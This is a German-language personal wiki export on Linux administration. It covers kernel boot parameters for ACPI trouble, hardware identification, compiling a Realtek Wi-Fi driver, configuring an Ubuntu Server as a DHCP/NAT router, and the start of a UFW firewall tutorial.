<span dir="ltr" role="presentation">**acpi=off** oder **noacpi** zwingt Linux dazu, ACPI komplett zu ignorieren und damit ohne Stromsparfunktionen und Leistungsmanagement für CPU und GPU zu starten. Auch Hyperthreading und die Lüfterregelung sind abgeschaltet.</span>

<span dir="ltr" role="presentation">**acpi=ht**: Mit dieser Option beachtet der Linux-Kernel gerade mal so viele ACPI-Fähigkeiten der Hardware, dass Hyperthreading  
der CPU funktioniert. Andere Stromsparfunktionen bleiben dagegen deaktiviert.  
</span>

<span dir="ltr" role="presentation">**acpi=strict** weist die ACPI-Unterstützung des Kernels an, nur ACPI-Merkmale der vorhandenen Hardware zu beachten, die  
exakt dem Standard folgen. Auf problematischen Notebooks ist diese Option immer einen Versuch wert.</span>

<span dir="ltr" role="presentation">**acpi\_osi=linux** umgeht die Abfrage des Linux-Kernels, ob das ACPI eines Rechners kompatibel ist. Sinnvoll ist dieser Parameter, wenn einige Stromsparfunktionen nicht verfügbar sind oder die Drehzahlsteuerung der Lüfter nicht funktioniert. Eine weitere Komponente nennt sich „Local APIC” und nimmt die Interrupt-Anforderungen auf jedem Prozessorkern entgegen. Der  
Parameter „nolapic“ löst vielfältige Probleme mit heiklen Bios-Versionen, reduziert aber in jedem Fall die Zahl der vorhandenen CPU-Kerne auf einen. Geeignet ist dies nur als erste Hilfe, bis ein Bios-Update oder eine neue Kernel-Version echte Abhilfe schafft.</span>

<span dir="ltr" role="presentation">**noapic:** Verhindert, dass APIC für die Auflösung von Hardwarekonflikten auf Interrupt-Ebene verwendet wird. Der Parameter hilft auf Systemen mit einem unverträglichen Bios und inkompatiblen ACPI-Funktionen weiter. Eine häufig erfolgreiche Kom-  
bination bei besonders widerspenstigen Notebooks ist diese: `acpi=off noapic nolapic` </span>

<span dir="ltr" role="presentation">**iommussoft:** Die „Input-Output Memory Management Unit“ (IOMMU) ist ein Merkmal einiger Hauptplatinen und erlaubt Peripheriegeräten den direkten Speicherzugriff. Dies funktioniert zusammen mit Linux nicht immer, was zum Ausfall von USB-Ports oder Netzwerkchip führt. Dieser Parameter aktiviert zusammen mit abgeschaltetem IOMMU im Bios/Uefi, ein softwaremäßiges IOMMU.  
Für Ubuntu und Co. liefert die englischsprachige Hilfeseite https://help.ubuntu.com/community/BootOptions eine Übersicht geläufiger Bootparameter. Die komplette Liste der Parameter mit Beschreibung für Entwickler bietet die offizielle Kernel-Dokumentation unter [https://www.kernel.org/](https://www.kernel.org/)doc/htmi/latest/admin-guide/kernel-parameters.html</span>

<span dir="ltr" role="presentation">**Nach der Linux-Installation:** Für ein installiertes System lassen sich die gewünschten Kernel-Optionen via Bootloader genauso angeben wie im Live- und Installationssystem. Damit eine Änderung permanent gilt, ist die Bearbeitung einer Konfigurationsdatei mit sudo-Recht nötig:  
`sudo -H gedit /etc/default/grub`  
Die Zeile  
</span>

```
GRUB_CMDLINE_
	LINUX=" [parameter1]=[wert1]
    [parameter2]=[wert2]"
```

<span dir="ltr" role="presentation">definiert die manuell hinzugefügten Angaben. Stehen hier schon Optionen, so ergänzen Sie zusätzlich nötigen nach einem Leerzeichen in dieser Zeile. Nach Änderung und Sicherung der Konfigurationsdatei ist die Änderung aber noch nicht wirksam, denn erst muss noch der Bootloader mit diesem Terminalbefehl aktualisiert werden:  
`sudo update-grub`  
Erst danach startet das Linux-System standardmäßig mit den hinzugefügten Kernel-Optionen.</span>

<p class="callout info">[![Kein Treiber: Hardware Infos findet man bei https://linux-hardware.org. ](https://books.hhml.selfhost.co/uploads/images/gallery/2022-11/scaled-1680-/juximage.png)](https://books.hhml.selfhost.co/uploads/images/gallery/2022-11/juximage.png)  
Kein Treiber: Hardware Infos findet man bei [https://linux-hardware.org](https://linux-hardware.org). Für das Gerät mit der ID "OBda:b812" ist bis einschließlich Version 5.19 kein Kernel-Modul vorhanden </p>

### <span dir="ltr" role="presentation">Hardware untersuchen und Infos finden  
</span>

<span dir="ltr" role="presentation">Jedes interne und externe Gerät besitzt eine eindeutige ID, die über den Hersteller und das Gerät informiert. Diese IDs lassen sich im Terminal mit den folgenden drei Befehlszeilen auslesen und in einer Datei speichern:  
`sudo lshw -numeric -html > lshw.html`  
`sudo lspci -nn > lspci.txt`  
`sudo lsusb -v > lsusb.txt`</span>

<span dir="ltr" role="presentation">In der Datei „Ishw.html“ finden Sie allgemeine Informationen zum PC, etwa den Typ der Hauptplatine, die Firmwareversion und den Prozessortyp. „Ispci.txt” zeigt Informationen über per PCI (Peripheral Component Interconnect) angebundene Komponenten, beispielsweise Soundchips („Audio device“), Grafikkarten („VGA compatible controller“) und Netzwerkchips („Ethernet controller“). In der Datei „Isusb.txt” sehen Sie, welche Geräte mit den USB-Ports verbunden sind. </span>

<span dir="ltr" role="presentation">**Ein Beispiel:** Mit Isusb finden Sie die ID „Obda:b812“. Der erste Teil „Obda“ verweist auf den Hersteller „Realtek Semiconductor Corp.” (siehe USB ID Repository: https://usb-ids.gowdy.us/read/UD), der zweite Teil „6812“ kennzeichnet das Gerät. Eine Internetsuche nach der kompletten ID liefert einige Ergebnisse, darunter auch https;//linux-hardware.org/?id=usb:Obda-b812. Hier erfährt man, dass bis einschließlich Kernel 5.19 kein Treiber für diesen WLAN-Stick mit dem Chipsatz „RTL88x2bu“ verfügbar ist. In der Liste unter „Status“ sind einige Analysen zu finden, die Nutzer an [https://linux-hardware.org](https://linux-hardware.org) gesendet haben. Bei den meisten steht „failed“- das Gerät ließ sich also nicht in Betrieb nehmen. Die ersten Einträge mit „works“ weisen darauf hin, dass ein Treiber von [https://github.com/morrownr/88x2bu](https://github.com/morrownr/88x2bu) für diese Hardware erforderlich ist.</span>

<p class="callout info">[![image.png](https://books.hhml.selfhost.co/uploads/images/gallery/2022-11/scaled-1680-/LRWimage.png)](https://books.hhml.selfhost.co/uploads/images/gallery/2022-11/LRWimage.png)  
Problemlösung: Nach einsendung der Hardwareanalyse zeigt [https://linuxhardware.org](https://linuxhardware.org) an, welches Gerät nicht funktioniert und was dagegen zu tun ist. </p>

<span dir="ltr" role="presentation">**Analysedaten einsenden:** Statt nach der Geräte-ID zu suchen, kann man die Daten seines PCs selbst anonym bei [https://linux-](https://linux-)hardware.org hochladen und dort prüfen lassen. Nutzer von Ubuntu oder Linux Mint installieren das nötige Tool im Terminal:  
**sudo apt install hw-probe** und starten es so: **sudo -E hw-probe -all -upload** Sie erhalten eine URL, die Sie im Browser aufrufen. In der Übersicht unter „Devices“ sind dann alle Geräte aufgelistet. Steht in der Spalte „Status“ der Eintrag „works“ oder „detected“, sollte das Gerät funktionieren. Ausrufungszeichen deuten jeweils darauf hin, dass es bei einzelnen Benutzern Probleme gab. Ein Klick darauf führt zu weiteren Informationen. Beim Status „failed“ wurde kein Treiber gefunden, geladen oder konfiguriert. Sofern vorhanden, führt ein Kasten rechts daneben zur Lösung. Weiter unten auf der Seite unter „Logs“ kann man sich per Klick etwa auf „Hwinfo“, „Lspci” oder „Lsusb“ die Ausgaben der jeweiligen Tools anzeigen lassen. </span>

<span dir="ltr" role="presentation">**Neue Kernel oder Treiber** </span>

<span dir="ltr" role="presentation">Die Infos von https://linux-hardware.org können ergeben, dass ein neuerer Kernel die Hardware unterstützt. Welchen Kernel Ihr System aktuell nutzt, finden Sie im Terminal mit dem Befehl  
`uname -a`  
heraus. Ubuntu 22.04 und Linux Mint 21 verwenden zur Zeit die Kernel-Version 5.15. Wer einen neueren Kernel benötigt, muss ihn selbst erstellen. Eine Anleitung für Ubuntu und Linux Mint finden Sie über https;//m6u.de/BMUK. Alternativ kann man zu einer  
Distribution wechseln, die deutliche aktuellere Updates bietet („Rolling Release”). Manjaro Linux beispielsweise ist aktuell schon bei Kernel 6.0.2 (https://manjaro.org). </span>

<span dir="ltr" role="presentation">**Treiber kompilieren:** Wenn der Quellcode verfügbar ist, kann man den Treiber selbst erstellen. Dabei gibt es zwei Herausforderungen: Der Quellcode muss zum laufenden Kernel passen und die nötigen Schritte können sich je nach Treiber unterscheiden Lesen Sie daher immer die zugehörigen Anleitungen sorgfältig durch. Exemplarisch liefern wir eine kurze Anleitung für den oben genannten WLAN-Stick mit dem Chipsatz „RTLESX2bu”. </span>

<span dir="ltr" role="presentation">**Schritt 1**: Öffnen Sie ein Terminal und installieren Sie einige zusätzliche Pakete:  
`sudo apt install git build-essential dkms linux-headers-$(uname -r)`</span>

<span dir="ltr" role="presentation">**Schritt 2**: Gehen Sie auf https://github.com/morrownr/88x2bu-20210702 und klicken Sie auf „Code“. Kopieren Sie die URL unter „HTTPS". Dann erstellen Sie ein Arbeitsverzeichnis und laden den Quelltext des Treibers herunter (vier Zeilen):  
`mkdir -p ~/src`  
`cd ~/src`  
`git clone [URL]`  
`cd 88x2bu-20210702`  
Statt „\[URL\]\* fügen Sie die zuvor kopierte Adresse ein. Passen Sie die Pfadangabe hinter „cd“ entsprechen der Treiberversion an.</span>

<span dir="ltr" role="presentation">**Schritt 3:** Führen Sie die folgenden drei Befehle aus:  
`make clean`  
`make`  
`sudo insmod 88x2bu.ko`</span>

<p class="callout info">[![image.png](https://books.hhml.selfhost.co/uploads/images/gallery/2022-11/scaled-1680-/DO5image.png)](https://books.hhml.selfhost.co/uploads/images/gallery/2022-11/DO5image.png)  
Treiber kompilieren: Nach dem Download des Treiber-Quellcodes genügt in der Regel der Befehl "make", der ein neues Modul für den laufenden Kernel erstellt. </p>

<span dir="ltr" role="presentation">Damit</span> <span dir="ltr" role="presentation">wird</span> <span dir="ltr" role="presentation">der</span> <span dir="ltr" role="presentation">Treiber</span> <span dir="ltr" role="presentation">aus</span> <span dir="ltr" role="presentation">dem</span> <span dir="ltr" role="presentation">aktuellen </span><span dir="ltr" role="presentation">Ordner</span> <span dir="ltr" role="presentation">„-/src/88x2bu-20210702"</span> <span dir="ltr" role="presentation">geladen </span><span dir="ltr" role="presentation">Mittels</span>  
`<span dir="ltr" role="presentation">dmesg</span>`  
<span dir="ltr" role="presentation">lassen</span> <span dir="ltr" role="presentation">Sie</span> <span dir="ltr" role="presentation">sich</span> <span dir="ltr" role="presentation">die</span> <span dir="ltr" role="presentation">letzten</span> <span dir="ltr" role="presentation">Kernel-Meldun</span><span dir="ltr" role="presentation">gen</span> <span dir="ltr" role="presentation">ausgeben,</span> <span dir="ltr" role="presentation">die</span> <span dir="ltr" role="presentation">über</span> <span dir="ltr" role="presentation">den</span> <span dir="ltr" role="presentation">erfolgreich </span><span dir="ltr" role="presentation">geladenen</span> <span dir="ltr" role="presentation">Treiber</span> <span dir="ltr" role="presentation">informieren</span> <span dir="ltr" role="presentation">oder</span> <span dir="ltr" role="presentation">Fehler</span><span dir="ltr" role="presentation">meldungen</span> <span dir="ltr" role="presentation">anzeigen.</span> <span dir="ltr" role="presentation">Für</span> <span dir="ltr" role="presentation">die</span> <span dir="ltr" role="presentation">meisten</span> <span dir="ltr" role="presentation">Trei</span><span dir="ltr" role="presentation">ber</span> <span dir="ltr" role="presentation">folgt</span> <span dir="ltr" role="presentation">abschließend</span> <span dir="ltr" role="presentation">dieser</span> <span dir="ltr" role="presentation">Befehl:</span>  
`<span dir="ltr" role="presentation">sudo</span> <span dir="ltr" role="presentation">make</span> <span dir="ltr" role="presentation">install</span>`  
<span dir="ltr" role="presentation">Damit</span> <span dir="ltr" role="presentation">wird</span> <span dir="ltr" role="presentation">der</span> <span dir="ltr" role="presentation">Treiber</span> <span dir="ltr" role="presentation">in</span> <span dir="ltr" role="presentation">einen</span> <span dir="ltr" role="presentation">Ordner</span> <span dir="ltr" role="presentation">un</span><span dir="ltr" role="presentation">terhalb</span> <span dir="ltr" role="presentation">von</span> <span dir="ltr" role="presentation">„/lib/modules/\[Kernel-Versi</span><span dir="ltr" role="presentation">on\]</span> <span dir="ltr" role="presentation">kopiert</span> <span dir="ltr" role="presentation">und</span> <span dir="ltr" role="presentation">ab</span> <span dir="ltr" role="presentation">dem</span> <span dir="ltr" role="presentation">nächsten</span> <span dir="ltr" role="presentation">Linux-</span><span dir="ltr" role="presentation">Start</span> <span dir="ltr" role="presentation">automatisch</span> <span dir="ltr" role="presentation">geladen.</span> <span dir="ltr" role="presentation">Bei</span> <span dir="ltr" role="presentation">unserem </span><span dir="ltr" role="presentation">Beispieltreiber</span> <span dir="ltr" role="presentation">ist</span> <span dir="ltr" role="presentation">das</span> <span dir="ltr" role="presentation">nicht</span> <span dir="ltr" role="presentation">erforderlich, </span><span dir="ltr" role="presentation">weil</span> <span dir="ltr" role="presentation">ein</span> <span dir="ltr" role="presentation">Script</span> <span dir="ltr" role="presentation">die</span> <span dir="ltr" role="presentation">Aufgabe</span> <span dir="ltr" role="presentation">übernimmt</span> <span dir="ltr" role="presentation">(sie</span><span dir="ltr" role="presentation">he</span> <span dir="ltr" role="presentation">Schritt</span> <span dir="ltr" role="presentation">4). </span><span dir="ltr" role="presentation">Die</span> <span dir="ltr" role="presentation">WLAN-Hardware</span> <span dir="ltr" role="presentation">funktioniert</span> <span dir="ltr" role="presentation">jetzt</span> <span dir="ltr" role="presentation">und </span><span dir="ltr" role="presentation">Verbindungen</span> <span dir="ltr" role="presentation">lassen</span> <span dir="ltr" role="presentation">sich</span> <span dir="ltr" role="presentation">wie</span> <span dir="ltr" role="presentation">gewohnt </span><span dir="ltr" role="presentation">über</span> <span dir="ltr" role="presentation">den</span> <span dir="ltr" role="presentation">Netzwerkmanager</span> <span dir="ltr" role="presentation">herstellen.</span>  
  
<span dir="ltr" role="presentation">Wenn</span> <span dir="ltr" role="presentation">allerdings</span> <span dir="ltr" role="presentation">Secure</span> <span dir="ltr" role="presentation">Boot</span> <span dir="ltr" role="presentation">aktiviert</span> <span dir="ltr" role="presentation">ist, </span><span dir="ltr" role="presentation">erzeugt</span> <span dir="ltr" role="presentation">der</span> <span dir="ltr" role="presentation">Befehl</span> <span dir="ltr" role="presentation">insmod</span> <span dir="ltr" role="presentation">eine</span> <span dir="ltr" role="presentation">Fehlermel</span><span dir="ltr" role="presentation">dung:</span> <span dir="ltr" role="presentation">Der</span> <span dir="ltr" role="presentation">Treiber</span> <span dir="ltr" role="presentation">wird</span> <span dir="ltr" role="presentation">nicht</span> <span dir="ltr" role="presentation">geladen,</span> <span dir="ltr" role="presentation">weil </span><span dir="ltr" role="presentation">er</span> <span dir="ltr" role="presentation">nicht</span> <span dir="ltr" role="presentation">digital</span> <span dir="ltr" role="presentation">signiert</span> <span dir="ltr" role="presentation">ist.</span> <span dir="ltr" role="presentation">Sie</span> <span dir="ltr" role="presentation">müssen</span> <span dir="ltr" role="presentation">dann </span><span dir="ltr" role="presentation">entweder</span> <span dir="ltr" role="presentation">Secure</span> <span dir="ltr" role="presentation">Boot</span> <span dir="ltr" role="presentation">im</span> <span dir="ltr" role="presentation">Firmwaresetup </span><span dir="ltr" role="presentation">deaktivieren</span> <span dir="ltr" role="presentation">oder</span> <span dir="ltr" role="presentation">den</span> <span dir="ltr" role="presentation">Treiber</span> <span dir="ltr" role="presentation">signieren </span><span dir="ltr" role="presentation">(siehe</span> <span dir="ltr" role="presentation">https://m6u.de/KNMD).</span>

**<span dir="ltr" role="presentation">Schritt</span> <span dir="ltr" role="presentation">4:</span>** <span dir="ltr" role="presentation">Der</span> <span dir="ltr" role="presentation">Treiber</span> <span dir="ltr" role="presentation">von</span> <span dir="ltr" role="presentation">https;//github.</span><span dir="ltr" role="presentation">com/morrownr/88x2bu-20210702</span> <span dir="ltr" role="presentation">lässt</span> <span dir="ltr" role="presentation">sich </span><span dir="ltr" role="presentation">komfortabel</span> <span dir="ltr" role="presentation">per</span> <span dir="ltr" role="presentation">Script</span> <span dir="ltr" role="presentation">einrichten:</span>  
`<span dir="ltr" role="presentation">sudo</span> <span dir="ltr" role="presentation">./install-driver.sh</span>`  
<span dir="ltr" role="presentation">Sie</span> <span dir="ltr" role="presentation">werden</span> <span dir="ltr" role="presentation">gefragt,</span> <span dir="ltr" role="presentation">ob</span> <span dir="ltr" role="presentation">Sie</span> <span dir="ltr" role="presentation">die</span> <span dir="ltr" role="presentation">Konfigurati</span><span dir="ltr" role="presentation">onsdatei</span> <span dir="ltr" role="presentation">„/etc/modprobe.d/88x2bu.conf” </span><span dir="ltr" role="presentation">mit</span> <span dir="ltr" role="presentation">den</span> <span dir="ltr" role="presentation">Treiberoptionen</span> <span dir="ltr" role="presentation">bearbeiten</span> <span dir="ltr" role="presentation">möch</span><span dir="ltr" role="presentation">ten. </span><span dir="ltr" role="presentation">In</span> <span dir="ltr" role="presentation">der</span> <span dir="ltr" role="presentation">Regel</span> <span dir="ltr" role="presentation">ist</span> <span dir="ltr" role="presentation">das</span> <span dir="ltr" role="presentation">nicht</span> <span dir="ltr" role="presentation">nötig,</span> <span dir="ltr" role="presentation">Erklä</span><span dir="ltr" role="presentation">rungen</span> <span dir="ltr" role="presentation">zu</span> <span dir="ltr" role="presentation">den</span> <span dir="ltr" role="presentation">Optionen</span> <span dir="ltr" role="presentation">sind</span> <span dir="ltr" role="presentation">in</span> <span dir="ltr" role="presentation">der</span> <span dir="ltr" role="presentation">Konfi</span><span dir="ltr" role="presentation">gurationsdatei</span> <span dir="ltr" role="presentation">enthalten.</span> <span dir="ltr" role="presentation">Wenn</span> <span dir="ltr" role="presentation">Sie</span> <span dir="ltr" role="presentation">Linux </span><span dir="ltr" role="presentation">jetzt</span> <span dir="ltr" role="presentation">neu </span><span dir="ltr" role="presentation">starten,</span> <span dir="ltr" role="presentation">wird</span> <span dir="ltr" role="presentation">der</span> <span dir="ltr" role="presentation">neue</span> <span dir="ltr" role="presentation">Treiber </span><span dir="ltr" role="presentation">automatisch</span> <span dir="ltr" role="presentation">geladen</span> <span dir="ltr" role="presentation">und</span> <span dir="ltr" role="presentation">die</span> <span dir="ltr" role="presentation">WLAN-Hard</span><span dir="ltr" role="presentation">ware</span> <span dir="ltr" role="presentation">lässt</span> <span dir="ltr" role="presentation">sich</span> <span dir="ltr" role="presentation">nutzen.</span>

# Ubuntu Server Netzwerk

<div drawio-diagram="120"><img src="https://wiki.hhml.selfhost.co/uploads/images/drawio/2024-10/drawing-3-1729257996.png" alt=""/></div>

<div drawio-diagram="101"><img src="https://wiki.hhml.selfhost.co/uploads/images/drawio/2024-01/drawing-3-1706037844.png" alt=""/></div>

<p class="callout info">Was muss alles erledigt werden</p>

<p class="callout info">- [DHCP-Server](#bkmrk-installation-dhcp-se)  
- [ip-Forwarding](#bkmrk-ip-forwarding)  
- [NAT aktivieren](#bkmrk-nat-aktivieren)</p>

[Wiki](https://wiki.ubuntuusers.de/Netzwerk/)

[Routing 2 Netze](https://administrator.de/knowledge/routing-2-ip-netzen-windows-linux-router-56073.html)

### Netzwerk

<div class="page-content" id="bkmrk-fritz.box-10.1.1.1-u"><div class="page-content"><div class="page-content"><div class="page-content"><div class="page-content"><div dir="auto"><table border="1" id="bkmrk-fritz.box-10.1.1.1-u-1" style="border-collapse: collapse; width: 100%; border-width: 1px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td style="border-width: 1px;">Fritz.Box</td><td style="border-width: 1px;">10.1.1.1</td></tr><tr><td style="border-width: 1px;">Ubuntu Server</td><td style="border-width: 1px;">10.1.1.160

10.10.1.254

</td></tr><tr><td style="border-width: 1px;">Client </td><td style="border-width: 1px;">10.10.1.51

</td></tr></tbody></table>

</div></div></div></div></div></div><div drawio-diagram="92"><img src="https://wiki.hhml.selfhost.co/uploads/images/drawio/2024-01/drawing-3-1704236921.png" alt=""/></div>

<details id="bkmrk-funkionierend-geilfu"><summary>Funkionierend Geilfuss</summary>

<div drawio-diagram="89"><img src="https://wiki.hhml.selfhost.co/uploads/images/drawio/2023-12/drawing-3-1702360220.png" alt=""/></div>

</details><details id="bkmrk-schema-2"><summary>Schema 2</summary>

<div drawio-diagram="79"><img src="https://wiki.hhml.selfhost.co/uploads/images/drawio/2023-11/drawing-3-1701208832.png" alt=""/></div>

</details><details id="bkmrk-schema"><summary>Schema</summary>

<div drawio-diagram="80"><img src="https://wiki.hhml.selfhost.co/uploads/images/drawio/2023-11/drawing-3-1701256510.png" alt=""/></div>

</details><div class="page-content" id="bkmrk--11"><div class="page-content"><div dir="auto">  
</div></div></div>### Netzwerkeinstellungen Ubuntu Server

Die YAML-Dateien, die von netplan genutzt werden, befinden sich im Verzeichnis

```plain
/etc/netplan
```

Nach der Installation von Ubuntu Server existiert dort bereits die YAML-Datei “50-cloud-init.yaml”, die indes nur wenige Vorgaben enthält.

#### Statische IP-Adresse

In diesem Beispiel soll für die Netzwerkkarte (eth0) die statische IP-Adresse “192.168.178.2” genutzt werden. Die Gateway-Adresse soll “192.168.178.1” lauten, und als Nameserver soll ebenfalls diese Adresse konfiguriert werden. Dazu kommt noch der Google-Server “8.8.8.8”. Die YAML-Datei “50-cloud-init.yaml” würde dann folgendermaßen aussehen:

Die Datei zum bearbeiten der Netzwerkkonfiguration befindet sich hier: `cd /etc/netplan/xxx.yaml` und kann mit `sudo nano` bearbeitet werden

```yaml
network:
version: 2
renderer: networkd
ethernets:
    eth0:
        dhcp4: false
        dhcp6: false
        optional: true
        addresses: [192.168.178.2/24]
        gateway4: 192.168.178.1
        nameservers:
            addresses: [192.168.178.1,8.8.8.8]
```

Damit die Konfiguration nun aufgrund dieser Einstellungen durchgeführt wird, ist die Anweisung

```bash
$ sudo netplan apply
```

auszuführen. Falls Fehlermeldungen erscheinen sollten, kann die Anweisung

```bash
$ sudo netplan --debug apply
```

weiterhelfen.

#### DHCP

Für die Einrichtung einer IP-Adressvergabe per DHCP könnte die YAML-Datei wie folgt aussehen:

```yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: true
```

Damit diese Einstellungen übernommen werden, muss auch hier die Anweisung

```bash
$ sudo netplan apply
```

### Installation DHCP-Server

At a terminal prompt, enter the following command to install dhcpd:

```
sudo apt install isc-dhcp-server
```

NOTE: dhcpd’s messages are being sent to syslog. Look there for diagnostics messages.

#### Configuration

You will probably need to change the default configuration by editing `/etc/dhcp/dhcpd.conf` to suit your needs and particular configuration.

<p class="callout warning">Der nächste Punkt führt zu Problemen mit DHCP</p>

Als erste Änderung sollte im oberen Bereich der Datei das Kommentarzeichen vor authoritative; entfernt werden. Hierdurch wird der Server zum zentralen DHCP-Server, wodurch Probleme mit anderen DHCP-Servern ausgeschlossen werden.

```
authoritative;
```

#### DHCP-Server Konfiguration

Most commonly, what you want to do is assign an IP address randomly. This can be done with settings as follows:

```yaml
# minimal sample /etc/dhcp/dhcpd.conf
default-lease-time 600;
max-lease-time 7200;

subnet 192.168.1.0 netmask 255.255.255.0 {
 range 192.168.1.150 192.168.1.200;
 option routers 192.168.1.254;
 option domain-name-servers 192.168.1.1, 192.168.1.2;
 option domain-name "mydomain.example";
}
```

This will result in the DHCP server giving clients an IP address from the range 192.168.1.150-192.168.1.200. It will lease an IP address for 600 seconds if the client doesn’t ask for a specific time frame. Otherwise the maximum (allowed) lease will be 7200 seconds. The server will also “advise” the client to use 192.168.1.254 as the default-gateway and 192.168.1.1 and 192.168.1.2 as its DNS servers.

You also may need to edit `/etc/default/isc-dhcp-server` to specify the interfaces dhcpd should listen to.

```
INTERFACESv4="eth4"
```

After changing the config files you have to restart the dhcpd service:

```
sudo systemctl restart isc-dhcp-server.service
```

### ip-Forwarding

Damit Ubuntu Server Daten weiterleitet muss ip-forwarding aktiviert werden. Dazu:

```bash
sudo nano /etc/sysctl.conf
```

und den Eintrag einkommentieren:

```
net.ipv4.ip_forward=1
```

Aktivieren Sie die Änderungen mit:

```
sudo sysctl -p
```

#### Statische Route Ubuntu Server

```
sudo ip route add Zielnetzwerk-adresse/Subnetzmaske via Gateway-Adresse
```

Wenn man eine Route aktualisieren will verwendet man `ip route replace`

Außerdem wird die netplan config yaml angepasst.

```
cd /etc/netplan
nano xxx.yaml
```

  
Die Einstellung gehört auf die LAN Seite (Ausgehender Netzwerkadapter)

```yaml
network:
  version: 2
  ethernets:
    ens19:
      routes:
        - to: <zielnetzwerk>
          via: <gateway>
```

Um die Änderung zu aktivieren:

`sudo netplan apply`

### NAT Aktivieren

```
iptables -t nat -A POSTROUTING -o ens18 -j MASQUERADE
```

Damit die iptables dauerhauft gespeichert werden muss iptables-persistent installiert werden

```
apt install iptables-persistent
```

Wenn Änderungen vorgenommen werden können diese gespeichert werden mit:

```
iptables-save > /etc/iptables/rules.v4
```

#### Fritzbox konfigurieren

<p class="callout danger">Nicht vergessen</p>

Der Router muss eine Statische Route entgetragen werden.

Unter Netzwerk &gt; Erweiterte Einstellungen &gt; Statische Route

<table border="1" id="bkmrk-netzwerk-ip-adresse-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>Netzwerk</td><td>IP-Adresse des dahinterligenden Netzwerkes  
10.1.1.0</td></tr><tr><td>Subnetzmaske</td><td>255.255.255.0</td></tr><tr><td>Gateway</td><td>Ubuntu Server Adresse  
192.168.1.172</td></tr></tbody></table>

# UFW Firewall

<div class="TutorialTemplateStyles__StyledRecordHeaderContainer-sc-51d78bd4-0 ezTMn" id="bkmrk-">![Einrichten einer Firewall mit UFW unter Ubuntu 20.04](https://www.digitalocean.com/_next/static/media/intro-to-cloud.d49bc5f7.jpeg "Einrichten einer Firewall mit UFW unter Ubuntu 20.04")</div>### [Einführung](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#einfuhrung)

UFW (oder Uncomplicated Firewall) ist eine vereinfachte Firewall-Verwaltungsschnittstelle, die die Komplexität von Paketfilterungstechnologie auf niedriger Ebene wie `iptables` und `nftables` versteckt. Wenn Sie mit dem Sichern Ihres Netzwerks beginnen möchten und Sie nicht sicher sind, welches Tool Sie verwenden sollen, könnte UFW die richtige Wahl für Sie sein.

In diesem Tutorial erfahren Sie, wie Sie eine Firewall mit UFW unter Ubuntu 20.04 einrichten.

## [Voraussetzungen](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#voraussetzungen)

Um dieser Anleitung zu folgen, benötigen Sie:

<div class="Markdown_markdown___3RCz" id="bkmrk-einen-ubuntu-20.04-s">- Einen Ubuntu 20.04-Server mit einem sudo Nicht-root User, den Sie über das [Tutorial Ersteinrichtung des Servers unter Ubuntu 20.04 einrichten können](https://www.digitalocean.com/community/tutorials/initial-server-setup-with-ubuntu-20-04).

</div>UFW ist unter Ubuntu standardmäßig installiert. Wenn UFW aus einem bestimmten Grund deinstalliert wurde, können Sie UFW mit `sudo apt install ufw` installieren.

## [Schritt 1 — Verwenden von IPv6 mit UFW (optional)](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-1-verwenden-von-ipv6-mit-ufw-optional)

Dieses Tutorial wurde für IPv4 verfasst, funktioniert aber auch für IPv6, solange es aktiviert ist. Wenn auf Ihrem Ubuntu-Server IPv6 aktiviert ist, muss UFW so konfiguriert sein, dass IPv6 unterstützt wird, um Firewall-Regeln nicht für IPv4, sondern auch für IPv6 zu verwalten. Öffnen Sie dazu die UFW-Konfiguration mit `nano` oder Ihrem bevorzugten Editor.

```
sudo nano /etc/default/ufw
```

<div class="Markdown_markdown___3RCz" id="bkmrk--1"><div class="code-toolbar">  
</div></div>Stellen Sie dann sicher, dass der Wert von `IPV6` `yes` lautet. Das sollte wie folgt aussehen:

```
IPV6=yes
```

Speichern und schließen Sie die Datei. Wenn UFW aktiviert ist, wird es so konfiguriert, dass sowohl IPv4- als auch IPv6-Firewall-Regeln geschrieben werden. Bevor wir UFW aktivieren, wollen wir jedoch überprüfen, ob Ihre Firewall so konfiguriert ist, dass Verbindungen über SSH möglich sind. Beginnen wir mit der Einstellung der Standardrichtlinien.

## [Schritt 2 — Einrichten von Standardrichtlinien](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-2-einrichten-von-standardrichtlinien)

Wenn Sie gerade mit der Verwendung Ihrer Firewall begonnen haben, sind Ihre Standardrichtlinien die ersten Regeln, die Sie definieren sollten. Diese Regeln steuern die Handhabung von Daten, die nicht ausdrücklich von anderen Regeln abgedeckt werden. Standardmäßig ist UFW so konfiguriert, dass alle eingehenden Verbindungen abgelehnt und alle ausgehenden Verbindungen zugelassen werden. So kann niemand, der versucht, Ihren Server zu erreichen, eine Verbindung herstellen, während jede Anwendung innerhalb des Servers nach außen kommunizieren kann.

Lassen Sie uns Ihre UFW-Regeln zurück auf die Standardeinstellungen setzen, um sicherzugehen, dass Sie diesem Tutorial folgen können. Um die von UFW verwendeten Standardeinstellungen auszuwählen, verwenden Sie diese Befehle:<button type="button"></button>

```
sudo ufw default deny incoming
sudo ufw default allow outgoing
```

Diese Befehle legen die Standardeinstellungen fest: eingehende Verbindungen werden abgelehnt und ausgehende Verbindungen zugelassen. Die Standardeinstellungen der Firewall allein können für einen PC ausreichen, Server müssen aber normalerweise auf eingehende Anfragen von externen Benutzern reagieren. Das sehen wir uns als Nächstes an.

## [Schritt 3 — Zulassen von SSH-Verbindungen](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-3-zulassen-von-ssh-verbindungen)

Wenn wir unsere UFW-Firewall jetzt aktivieren würden, würde sie alle eingehenden Verbindungen ablehnen. Das bedeutet, dass wir Regeln erstellen müssen, die legitime eingehende Verbindungen (z. B. SSH- oder HTTP-Verbindungen) ausdrücklich zulassen, wenn unser Server auf diese Art von Anforderungen reagieren soll. Wenn Sie einen Cloud-Server verwenden, werden Sie wahrscheinlich eingehende SSH-Verbindungen zulassen wollen, damit Sie sich mit Ihrem Server verbinden und den Server verwalten können.

